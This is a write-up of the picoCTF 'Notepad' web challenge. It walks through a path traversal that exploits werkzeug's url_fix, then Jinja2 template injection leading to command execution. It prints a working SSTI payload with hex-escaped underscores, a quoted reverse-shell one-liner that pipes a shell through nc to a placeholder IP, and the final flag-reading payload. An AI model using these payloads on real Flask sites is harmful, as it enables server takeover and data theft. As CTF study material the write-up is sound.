🌐 Notepad
A detailed write-up of the Web challenge 'Notepad' from picoMini by redpwn - 2021
📊 Challenge Overview
Category Details Additional Info 🏆 Event PicoGym Event Link 🔰 Category Web 🌐 💎 Points Out of 500 total ⭐ Difficulty 🔴 Hard Personal Rating: 5/10 👤 Author ginkoid Profile 🎮 Solves (At the time of flag submission) 2.400 solve rate 📅 Date 09-03-2025 PicoGym 🦾 Solved By mH4ck3r0n3 Team:
📝 Challenge Information
This note-taking site seems a bit off. notepad.mars.picoctf.net
🎯 Challenge Files & Infrastructure
Provided Files
Files:
🔍 Initial Analysis
First Steps
Initially, the website appears as follows:
It’s a web application where you can write notes, similar to
pastebin. By checking the attached files, I discovered that it’s built withFlask. Reading theDockerfile:
1mv flag.txt flag-$(cat /proc/sys/kernel/random/uuid).txtI found the following line, which indicates that the flag name is generated with a random
uuid. This already makes me think that, in some way, we need to read theflag-uuid.txtfile, possibly through anRCE (Remote Code Execution). Reading theapp.pyfile, there are two routes:/, which returns the page from the previous screenshot (Site Presentation), and/new.
1 2 3 4 5 6 7 8 9 10 11@app.route("/new", methods=["POST"]) def create(): content = request.form.get("content", "") if "_" in content or "/" in content: return redirect(url_for("index", error="bad_content")) if len(content) > 512: return redirect(url_for("index", error="long_content", len=len(content))) name = f"static/{url_fix(content[:128])}-{token_urlsafe(8)}.html" with open(name, "w") as f: f.write(content) return redirect(name)which allows the creation of a new note. As we can see, we cannot use the characters
_and/in the note’s content, otherwise, we get thebad_contenterror. Additionally, the content cannot exceed512characters. If these checks are passed, the note is then created in thestaticdirectory with a filename composed of the first128characters of the note’s text, followed by-+8random characters, and with the.htmlextension. The first thing I did was research theurl_fix()function (https://tedboy.github.io/flask/_modules/werkzeug/urls.html#url_fix). I found that this function is used to normalizelinks, and as we can see from the documentation, the following line of code is present in the function:
1s = to_unicode(s, charset, 'replace').replace('\\', '/')The
\character is replaced with/. So, thatifcondition is not very useful, if we use\instead of/, we can bypass the check. Since there is a direct redirect based on thenamevariable, which represents the filename of the created note, we have aPath Traversalvulnerability. This is because we control the first128characters of the filename, as they are taken directly from the note’s content. Continuing to read the attached files, I found theindex.htmlfile inside thetemplatesfolder (the one we see rendered in the screenshot):
1 2 3 4 5 6 7 8 9 10 11 12<!doctype html> {% if error is not none %} <h3> error: {{ error }} </h3> {% include "errors/" + error + ".html" ignore missing %} {% endif %} <h2>make a new note</h2> <form action="/new" method="POST"> <textarea name="content"></textarea> <input type="submit"> </form>In fact, by trying to trigger a
bad_contenterror, for example by inserting_in the note’s content:As we can see, the parameter
?error=bad_contentis passed, which corresponds to the name of the error, and the file inside theerrors/folder namedbad_contentis included in the page. Reading the contents of this file, we find exactly what was shown in the previous screenshot:the note contained invalid characters. UsingPath Traversal, we can create a template inside thetemplates/errorsdirectory, and by passing the parameter?error=created_template_name, we can achieveSSTI (Server-Side Template Injection). Now, let’s move on to the exploitation phase to better understand the process.
🔬 Vulnerability Analysis
Potential Vulnerabilities
- Path Traversal
- SSTI (Server Side Template Injection)
- RCE (Remote Code Execution)
🎯 Solution Path
Exploitation Steps
Initial setup
Flask uses Jinja2 as its template engine, which means that it is possible to execute Python code within HTML templates using the
{{ ... }}syntax. For example, if we write{{ 7*7 }}inside an HTML page, Flask’s template engine will interpret it as Python code and replace it with49in the rendered page. Let’s first test this simple injection to see if the logic works. So, the first thing I do is insert..\templates\errors\{{ 7*7 }}as the note content and click theSubmit Querybutton. The result is:A
404error, but why? Apparently, the path traversal worked, as we can see from the URL the file was created in the/templates/errors/nome_file.htmldirectory, but we need to be careful with the filename ({{ 7*7 }}-qz654L35F4s.html). Remember that the filename consists of the first128characters from the created note content, and since{},*are special characters, the file is created on the web server, but we cannot access it because the web server does not interpret the filename correctly. We can bypass this issue by inserting128allowed characters, such as128As, followed by{{ 7*7 }}(the characters misinterpreted by the web server), constructing the final payload and usingpythonto generate the128As (python -c "print("A"*128)) I obtain..\templates\errors\AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA{{ 7*7 }}. Trying to send the new payload:The page is actually created, so I extract the filename directly from the URL (https://notepad.mars.picoctf.net/templates/errors/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA-2DSmw7uGFNI.html) without the
.htmlextension, since theerrorparameter only takes the filename:AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA-2DSmw7uGFNI. Passing it to the parameterhttps://notepad.mars.picoctf.net/?error=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA-2DSmw7uGFNI, the template is rendered, achieving the injection:Since instead of having
{{ 7*7 }}, we only get the result49, we can now move on to the next phase. Having established the logic, we need to figure out how to read theflag-uuid.txtfile.
Exploitation
When we find ourselves in situations like this, we should always refer back to the
builtinsorimportto importosorsubprocessin order to execute commands on the web server. We can do this by using a chain of objects to get to what we need. Fortunately, I found the payload that works for my case directly onHackTricks(https://hacktricks.boitatech.com.br/pentesting-web/ssti-server-side-template-injection), which is:
1{{request|attr('application')|attr('\x5f\x5fglobals\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fbuiltins\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fimport\x5f\x5f')('os')|attr('popen')('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc <ip> <port> >/tmp/f')|attr('read')()}}In this case, it fits perfectly because it also encodes the
_character in hex to bypass the filter on that character. However, instead of getting areverse_shell, I only need to docat flag*, so I don’t even have to runlsto know the name of the file beforehand, since I already know how it starts. Therefore, I modified the payload and composed it in such a way as to form the final payload:
1..\templates\errors\AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA{{ request|attr('application')|attr('\x5f\x5fglobals\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fbuiltins\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fimport\x5f\x5f')('os')|attr('popen')('echo; cat flag*')|attr('read')() }}Creating the note with the following payload, extracting the filename as done previously, and setting it in the
?error=filenameparameter, the template is rendered with the output of thecat flag*command, thus successfully reading the flag.
Flag capture
🛠️ Exploitation Process
Approach
The automatic exploit performs the steps previously described in the manual exploit, sending a request and setting the final payload. After that, it extracts the redirect link and makes a GET request to
/?error=redirect_link. Finally, it extracts the flag from the response using a regex.
🚩 Flag Capture
Flag
Proof of Execution
🔧 Tools Used
Tool Purpose Python Exploit
💡 Key Learnings
Time Optimization
- Testing functions manually to see how they work, in this case for example
url_fix()for path normalization.
Skills Improved
- Binary Exploitation
- Reverse Engineering
- Web Exploitation
- Cryptography
- Forensics
- OSINT
- Miscellaneous
📚 References & Resources
Official Documentation
Learning Resources
📊 Final Statistics
| Metric | Value | Notes |
|---|---|---|
| Time to Solve | 00:30 | From start to flag |
| Global Ranking (At the time of flag submission) | Challenge ranking | |
| Points Earned | Team contribution |
Created: 09-03-2025 • Last Modified: 09-03-2025 *Author: mH4ck3r0n3 • Team: *